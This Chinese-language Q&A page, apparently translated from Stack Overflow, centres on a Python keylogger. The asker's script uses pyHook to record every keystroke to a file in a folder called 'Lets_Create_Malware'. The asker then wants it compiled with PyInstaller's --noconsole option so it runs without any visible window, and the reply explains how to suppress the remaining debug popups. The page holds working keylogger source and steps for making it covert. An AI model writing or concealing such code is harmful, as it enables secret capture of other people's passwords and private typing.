Python 将Pyinstaller与-noconsole一起使用会出现弹出窗口
我有一个python文件,用.pyw保存以抑制控制台Python 将Pyinstaller与-noconsole一起使用会出现弹出窗口,python,console,popup,exe,pyinstaller,Python,Console,Popup,Exe,Pyinstaller,我有一个python文件,用.pyw保存以抑制控制台 import pyHook, pythoncom, sys, logging file_log = 'C:\\Lets_Create_Malware\\log.txt' def OnKeyboardEvent (event): logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii)
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Lets_Create_Malware\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
然后我用pyinstaller转换成.exe
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
但是当我双击.exe时,我得到了控制台
我试过了--没有控制台选项,即
c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw
但是,当我双击.exe时,会出现一系列恼人的弹出窗口,我必须使用任务管理器终止这些弹出窗口
如何修复
请创建一个.spec文件,然后添加到EXE部分 debug=错误 PyInstaller手册解释了规范文件。然后使用spec文件而不是脚本文件调用pyinstaller